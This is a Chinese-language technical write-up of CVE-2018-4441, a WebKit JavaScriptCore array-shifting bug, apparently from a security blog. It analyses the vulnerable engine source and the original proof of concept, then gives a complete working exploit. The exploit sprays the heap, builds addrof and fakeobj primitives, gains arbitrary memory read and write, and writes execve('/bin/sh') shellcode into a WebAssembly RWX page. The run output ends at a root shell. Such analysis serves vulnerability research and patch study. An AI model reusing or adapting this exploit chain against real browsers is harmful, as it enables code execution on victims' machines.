CVE-2018-4441 Webkit shiftCountWithArrayStorage¶
一、漏洞简介¶
WebKit是Apple Safari浏览器中的Web浏览器引擎,也是其他macOS、iOS和Linux系统中应用的浏览器引擎。2018年12月,该漏洞在公开披露后,被发现影响最新版本的苹果Safari浏览器。
二、漏洞影响¶
三、复现过程¶
漏洞分析
环境配置
这里我用了补丁的前一个版本 commit 21687be , 在 ubuntu 1804 下编译,环境相关的文件都放在了这里
漏洞描述
漏洞发生在JSArray::shiftCountWithArrayStorage 这个函数,根据lokihardt 的描述,除非对象的prototype 有indexed accessors 或者 proxy对象(我也不清楚是什么:( ), 否则调用到这个函数的时候holesMustForwardToPrototype 都会返回false, 本来带holes 的对象就可以进入下面的处理逻辑(总的来说就是代码写错了)
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
unsigned oldLength = storage->length();
RELEASE_ASSERT(count <= oldLength);
// If the array contains holes or is otherwise in an abnormal state,
// use the generic algorithm in ArrayPrototype.
if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
|| hasSparseMap()
|| shouldUseSlowPut(indexingType())) {
return false;
}
if (!oldLength)
return true;
unsigned length = oldLength - count;
storage->m_numValuesInVector -= count;
storage->setLength(length);
//.....
bool Structure::holesMustForwardToPrototype(VM& vm, JSObject* base) const
{
ASSERT(base->structure(vm) == this);
if (this->mayInterceptIndexedAccesses())
return true;
JSValue prototype = this->storedPrototype(base);//
if (!prototype.isObject())
return false;
JSObject* object = asObject(prototype);
while (true) {
Structure& structure = *object->structure(vm);
if (hasIndexedProperties(object->indexingType()) || structure.mayInterceptIndexedAccesses())
return true;
prototype = structure.storedPrototype(object);
if (!prototype.isObject())
return false;
object = asObject(prototype);
poc 分析
function main() {
let arr = [1];
arr.length = 0x100000;
arr.splice(0, 0x11);
arr.length = 0xfffffff0;
arr.splice(0xfffffff0, 0, 1);
}
main();
lokihardt 给出了poc
./jsc
>>> a=[1]
1
>>> describe(a)
Object: 0x7fffaf6b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf6f2a00:[Array, {}, ArrayWithInt32, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 97
>>> a.length=0x100000
1048576
>>> describe(a)
Object: 0x7fffaf6b4340 with butterfly 0x7fe0000f8448 (Structure 0x7fffaf6f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 100
>>> a.splice(0,0x11)
1,,,,,,,,,,,,,,,,
首先创建了一个 ArrayWithInt32 类型的array, length 改成0x100000 之后会转换成ArrayWithArrayStorage, 然后调用 splice 函数,实现在Source/JavaScriptCore/runtime/ArrayPrototype.cpp:1005 的arrayProtoFuncSplice 函数
splice 用来删除修改array, 如 a.splice(0, 0x11), 就表示从index=0 开始删除0x11 项, 第三个参数表示要替换的内容, 如a.splice(0,0x11,1,1) 表示删除 0x11 个项,然后添加两个项,内容都是1, 也可以这a.splice(0,1,1,2,3) 要添加的项比删除多的时候会重新分配内存。我们看一下函数具体是怎么样实现的, 这里用poc 的 a.length=0x100000; a.splice(0,0x11) 为例
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
// 15.4.4.12
VM& vm = exec->vm();
auto scope = DECLARE_THROW_SCOPE(vm);
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
EXCEPTION_ASSERT(!!scope.exception() == !thisObj);
if (UNLIKELY(!thisObj))
return encodedJSValue();
// length = 0x100000
unsigned length = toLength(exec, thisObj);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
if (!exec->argumentCount()) {
//..
}
// splice 第一个参数, 这里是 0
unsigned actualStart = argumentClampedIndexFromStartOrEnd(exec, 0, length);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
// actualDeleteCount = 0x100000 - 0
unsigned actualDeleteCount = length - actualStart;
// argumentCount == 2, 进入判断, actualDeleteCount = 0x11
if (exec->argumentCount() > 1) {
double deleteCount = exec->uncheckedArgument(1).toInteger(exec);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
if (deleteCount < 0)
actualDeleteCount = 0;
else if (deleteCount > length - actualStart)
actualDeleteCount = length - actualStart;
else
actualDeleteCount = static_cast<unsigned>(deleteCount);
}
//...
// itemCount 表示要添加的 item 数量, 这里是 0 < 0x11 --> 调用 shift
unsigned itemCount = std::max<int>(exec->argumentCount() - 2, 0);
if (itemCount < actualDeleteCount) {
shift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
} else if (itemCount > actualDeleteCount) {
unshift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
}
// 把每个添加的item 内容写入
for (unsigned k = 0; k < itemCount; ++k) {
thisObj->putByIndexInline(exec, k + actualStart, exec->uncheckedArgument(k + 2), true);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
}
// 重新设置长度
scope.release();
setLength(exec, vm, thisObj, length - actualDeleteCount + itemCount);
return JSValue::encode(result);
}
整理一下
actualStart 第一个参数,表示要开始delete 的地方
actualDeleteCount 第二个参数,要delete 的数量,没有设置时默认是length - actualStart
itemCount
第三个参数开始的数量
- itemCount < actualDeleteCount 会调用 shift
- itemCount > actualDeleteCount 调用 unshift
我们跟一下shift
template<JSArray::ShiftCountMode shiftCountMode>
void shift(ExecState* exec, JSObject* thisObj, unsigned header, unsigned currentCount, unsigned resultCount, unsigned length)
{
VM& vm = exec->vm();
auto scope = DECLARE_THROW_SCOPE(vm);
RELEASE_ASSERT(currentCount > resultCount);
// 要多 delete 的数量
unsigned count = currentCount - resultCount;
RELEASE_ASSERT(header <= length);
RELEASE_ASSERT(currentCount <= (length - header));
if (isJSArray(thisObj)) {
JSArray* array = asArray(thisObj);
if (array->length() == length && array->shiftCount<shiftCountMode>(exec, header, count))
return;
}
for (unsigned k = header; k < length - currentCount; ++k) {
unsigned from = k + currentCount;
unsigned to = k + resultCount;
JSValue value = getProperty(exec, thisObj, from);
RETURN_IF_EXCEPTION(scope, void());
if (value) {
thisObj->putByIndexInline(exec, to, value, true);
RETURN_IF_EXCEPTION(scope, void());
} else {
bool success = thisObj->methodTable(vm)->deletePropertyByIndex(thisObj, exec, to);
RETURN_IF_EXCEPTION(scope, void());
if (!success) {
throwTypeError(exec, scope, UnableToDeletePropertyError);
return;
}
}
}
for (unsigned k = length; k > length - count; --k) {
//
bool success = thisObj->methodTable(vm)->deletePropertyByIndex(thisObj, exec, k - 1);
RETURN_IF_EXCEPTION(scope, void());
if (!success) {
throwTypeError(exec, scope, UnableToDeletePropertyError);
return;
}
}
}
JSArray::ShiftCountForSplice` 实现在`Source/JavaScriptCore/runtime/JSArray.h:125`, `shiftCountWithAnyIndexingType` 根据 array 的类型做不同的处理,这里我们是`ArrayWithArrayStorage`, 直接调用`shiftCountWithArrayStorage
bool shiftCountForSplice(ExecState* exec, unsigned& startIndex, unsigned count)
{
return shiftCountWithAnyIndexingType(exec, startIndex, count);
}
//.................
bool JSArray::shiftCountWithAnyIndexingType(ExecState* exec, unsigned& startIndex, unsigned count)
{
VM& vm = exec->vm();
RELEASE_ASSERT(count > 0);
ensureWritable(vm);
Butterfly* butterfly = this->butterfly();
switch (indexingType()) {
case ArrayClass:
return true;
case ArrayWithUndecided:
// Don't handle this because it's confusing and it shouldn't come up.
return false;
case ArrayWithInt32:
case ArrayWithContiguous: {
unsigned oldLength = butterfly->publicLength();
//...
return true;
}
case ArrayWithDouble: {
unsigned oldLength = butterfly->publicLength();
RELEASE_ASSERT(count <= oldLength);
//...
return true;
}
case ArrayWithArrayStorage:
case ArrayWithSlowPutArrayStorage:
return shiftCountWithArrayStorage(vm, startIndex, count, arrayStorage());
default:
CRASH();
return false;
}
}
这里就是漏洞点了,前面提到holesMustForwardToPrototype 会返回false, 这样就会进入到后面的逻辑
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
unsigned oldLength = storage->length();
RELEASE_ASSERT(count <= oldLength);
// If the array contains holes or is otherwise in an abnormal state,
// use the generic algorithm in ArrayPrototype.
if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
|| hasSparseMap()
|| shouldUseSlowPut(indexingType())) {
return false;
}
if (!oldLength)
return true;
//count = 0x11, oldlength = 0x100000, length = 0xfffef
unsigned length = oldLength - count;
// m_numValuesInVector = 1, 计算之后 m_numValuesInVector = 0xfffffff0
storage->m_numValuesInVector -= count;
storage->setLength(length);
这里运行结束后a.length = 0xfffef, storage.m_numValuesInVector = 0xfffffff0, 然后 poc 下一步设置a.length = 0xfffffff0, 这样就有 a.length == storage.m_numValuesInVector, 这样hasHoles 后续都会返回false
bool hasHoles() const
{
return m_numValuesInVector != length();
}
最后一步a.splice(0xfffffff0, 0, 1);, itemCount == 1 > actualDeleteCount == 0, 于是就会进入 unshift 函数, 和 shift 函数类似,这里最终会进入 JSArray 的unshiftCountWithArrayStorage
因为 storage->hasHoles() 返回的是 false, 所以可以进入后面的判断,要添加的item 比 delete的多,那么就需要扩大原来的内存,后续的内存操作会出现问题,最终segmentfault
bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
//..
// If the array contains holes or is otherwise in an abnormal state,
// use the generic algorithm in ArrayPrototype.
if (storage->hasHoles() || storage->inSparseMode() || shouldUseSlowPut(indexingType()))
return false;
bool moveFront = !startIndex || startIndex < length / 2;
unsigned vectorLength = storage->vectorLength();
// Need to have GC deferred around the unshiftCountSlowCase(), since that leaves the butterfly in
// a weird state: some parts of it will be left uninitialized, which we will fill in here.
DeferGC deferGC(vm.heap);
auto locker = holdLock(cellLock());
if (moveFront && storage->m_indexBias >= count) {
Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
storage = newButterfly->arrayStorage();
storage->m_indexBias -= count;
storage->setVectorLength(vectorLength + count);
setButterfly(vm, newButterfly);
} else if (!moveFront && vectorLength - length >= count)
storage = storage->butterfly()->arrayStorage();
else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
storage = arrayStorage();// 0x60
else {
throwOutOfMemoryError(exec, scope);
return true;
}
WriteBarrier<Unknown>* vector = storage->m_vector;
if (startIndex) {
if (moveFront)
memmove(vector, vector + count, startIndex * sizeof(JSValue));
else if (length - startIndex)
memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
}
for (unsigned i = 0; i < count; i++)
vector[i + startIndex].clear();
return true;
}
漏洞利用¶
okay, 漏洞发生的原因大概清楚了,我们再来看看要怎么样利用。我们可以发现 unshiftCountWithArrayStorage 有一个 memmove 的操作, 假如执行a.splice(0x1000,0,1), startIndex == 0x1000, moveFront == true , count = 1
if (startIndex) {
if (moveFront)
memmove(vector, vector + count, startIndex * sizeof(JSValue));
else if (length - startIndex)
memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
}
vector 来自前面的storage , 这里会进入 storage = arrayStorage(); 重新初始化一个 storage, 可以跟踪一下Source/JavaScriptCore/runtime/ButterflyInlines.h:77 的Butterfly::tryCreateUninitialized 函数,最终分配的内存大小是 0x60(0x58 向上对齐)。但是 因为这里startIndex 可以控制,于是这里就可以越界做内存拷贝。
if (moveFront && storage->m_indexBias >= count) {//m_indexBias ==0 < count ==1
Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
storage = newButterfly->arrayStorage();
storage->m_indexBias -= count;
storage->setVectorLength(vectorLength + count);
setButterfly(vm, newButterfly);
} else if (!moveFront && vectorLength - length >= count)// moveFront == true
storage = storage->butterfly()->arrayStorage();
else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
storage = arrayStorage();// 0x60
else {
throwOutOfMemoryError(exec, scope);
return true;
}
WriteBarrier<Unknown>* vector = storage->m_vector;
如果内存布局像下面这样,
vector = 0x7fe000287a78
pwndbg> x/1000gx 0x7fe000287a78
0x7fe000287a78: 0x00000000badbeef0 0x0000000000000000
0x7fe000287a88: 0x00000000badbeef0 0x00000000badbeef0
0x7fe000287a98: 0x00000000badbeef0 0x00000000badbeef0
//..
// 其他 object 的 butterfly, length = 0xa
0x7fe000287ff8: 0x00000000badbeef0 0x0000000d0000000a
0x7fe000288008: 0x0000000000001337 0x402abd70a3d70a3d
0x7fe000288018: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
// vector + 0x1000
0x7fe000288a78: 0x0000000000000000 0x0000000d0000000a
0x7fe000288a88: 0x0000000000001337 0x402abd70a3d70a3d
memmove之后, 可以把其他object 的 buttefly 的 length 改了,假如可以找到这个 object, 那么就可以利用这个 object 来构造越界读写了。
// vector
0x7fe000287a78: 0x0000000000000000 0x00000000badbeef0
0x7fe000287a88: 0x00000000badbeef0 0x00000000badbeef0
// 其他 object 的 butterfly, length = 0x1337
0x7fe000287ff8: 0x0000000d0000000a 0x0000000000001337
0x7fe000288008: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
// vector + 0x1000
0x7fe000288a78: 0x0000000d0000000a 0x0000000000001337
0x7fe000288a88: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
addrof 和 fakeobj 构造
首先喷一堆的object, 尝试构造出上面提到的内存布局,length都是 10, 这样新分配的内存就是 10 * 8 + 0x10 = 0x60, 就会和新申请的storage 分配在十分接近的内存上。 spray[i] 和 spray[i+1] 会连续分配
for (let i = 0; i < 0x3000; i += 2) {
spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
spray[i+1] = [{},{},{},{},{},{},{},{},{},{}]; // fakeobj
}
for (let i = 0; i < 0x3000; i += 2)
spray[i][0] = i2f(0x1337)
然后是 splice(0x1000,0,1) 触发memmove, 然后找出那个被改了 size 的 object
arr.splice(0x1000,0,1);
fake_index=-1;
for(let i=0;i<0x3000;i+=2){
if(spray[i].length!=10){
print("hit: "+i.toString(16));
fake_index=i;
break;
}
}
//..spray[i] ArrayWithDouble
0x7ff000287ff8: 0x00000000badbeef0 0x0000000d0000000a
0x7ff000288008: 0x0000000000001337 0x402abd70a3d70a3d
0x7ff000288018: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7ff000288028: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7ff000288038: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7ff000288048: 0x402abd70a3d70a3d 0x40c77caf5c28f5c3
// spray[i+1], ArrayWithContiguous
0x7ff000288058: 0x7ff8000000000000 0x7ff8000000000000
0x7ff000288068: 0x7ff8000000000000 0x0000000d0000000a
0x7ff000288078: 0x00007fffae25d240 0x00007fffae25d280
0x7ff000288088: 0x00007fffae25d2c0 0x00007fffae25d300
0x7ff000288098: 0x00007fffae25d340 0x00007fffae25d380
0x7ff0002880a8: 0x00007fffae25d3c0 0x00007fffae25d400
0x7ff0002880b8: 0x00007fffae25d440 0x00007fffae25d480
到了这里, spray[i][14] == spray[i+1][0], 往spray[i][14] 写一个 地址, 然后从spray[i+1] 取出来就会认为他是一个object, 同样可以用spray[i][14] 读 object 的地址, fakeobj 和 addrof 的构造就十分直接啦
unboxed = spray[fake_index];
boxed = spray[fake_index+1];
print(describe(unboxed))
print(describe(boxed))
function addrof(obj){
boxed[0] = obj;
return f2i(unboxed[14]);
}
function fakeobj(addr){
unboxed[14] = i2f(addr);
return boxed[0];
}
任意地址读写 & 写 wasm getshell
接下来的利用基本上就都是通用套路了,改 ArrayWithDouble 的 butterfly 任意地址读写,然后找 wasm 的rwx 段写shellcode, 执行shellcode 完事。
exp
完整exp 如下
var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)
var BASE32 = 0x100000000
function f2i(f) {
f64[0] = f
return i32[0] + BASE32 * i32[1]
}
function i2f(i) {
i32[0] = i % BASE32
i32[1] = i / BASE32
return f64[0]
}
function user_gc() {
for (let i = 0; i < 10; i++) {
let ab = new ArrayBuffer(1024 * 1024 * 10);
}
}
let arr = [1];
arr.length = 0x100000;
arr.splice(0, 0x11);
arr.length = 0xfffffff0;
let spray = new Array(0x3000);
for (let i = 0; i < 0x3000; i += 2) {
spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];
}
for (let i = 0; i < 0x3000; i += 2)
spray[i][0] = i2f(0x1337)
arr.splice(0x1000,0,1);
fake_index=-1;
for(let i=0;i<0x3000;i+=2){
if(spray[i].length!=10){
print("hit: "+i.toString(16));
fake_index=i;
break;
}
}
unboxed = spray[fake_index];
boxed = spray[fake_index+1];
print(describe(unboxed))
print(describe(boxed))
function addrof(obj){
boxed[0] = obj;
return f2i(unboxed[14]);
}
function fakeobj(addr){
unboxed[14] = i2f(addr);
return boxed[0];
}
victim = [1.1];
victim[0] =3.3;;
victim['prop'] = 13.37;
victim['prop'+1] = 13.37;
print(describe(victim))
print(addrof(victim).toString(16))
i32[0]=100;
i32[1]=0x01082107 - 0x10000;
var container={
jscell:f64[0],
butterfly:victim,
}
print(describe(container))
container_addr = addrof(container);
hax = fakeobj(container_addr+0x10);
var unboxed2 = [1.1];
unboxed2[0] =3.3;
var boxed2 = [{}]
hax[1] = i2f(addrof(unboxed2))
var shared = victim[1];
hax[1] = i2f(addrof(boxed2))
victim[1] = shared;
var stage2={
addrof: function(obj){
boxed2[0] = obj;
return f2i(unboxed2[0]);
},
fakeobj: function(addr){
unboxed2[0] = i2f(addr);
return boxed2[0];
},
read64: function(addr){
hax[1] = i2f(addr + 0x10);
return this.addrof(victim.prop);
},
write64: function(addr,data){
hax[1] = i2f(addr+0x10);
victim.prop = this.fakeobj(data)
},
write: function(addr, shellcode) {
var theAddr = addr;
for(var i=0;i<shellcode.length;i++){
this.write64(addr+i,shellcode[i].charCodeAt())
}
},
pwn: function(){
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var addr_f = this.addrof(f);
var addr_p = this.read64(addr_f + 0x40);
var addr_shellcode = this.read64(addr_p);
print(addr_f.toString(16))
print(addr_p.toString(16))
print(addr_shellcode.toString(16));
shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
this.write(addr_shellcode, shellcode);
f();
}
}
stage2.pwn()
运行效果
运行效果如下
╰$ ./jsc exp.js
hit: 2e5e
Object: 0x7fffae2af690 with butterfly 0x7fe00028c078 (Structure 0x7fffaf6f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 98
Object: 0x7fffae2af6a0 with butterfly 0x7fe00028c0e8 (Structure 0x7fffaf6f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf6c80a0]), StructureID: 99
Object: 0x7fffae2591f0 with butterfly 0x7fe000280058 (Structure 0x7fffaf670d20:[Array, {prop:100, prop1:101}, ArrayWithDouble, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 317
7fffae2591f0
Object: 0x7fffaf6c8380 with butterfly (nil) (Structure 0x7fffaf670e00:[Object, {jscell:0, butterfly:1}, NonArray, Proto:0x7fffaf6b4000, Leaf]), StructureID: 319
7fffae208000
7ffff000a500
7fffb0001000
# id
uid=0(root) gid=0(root) groups=0(root)
#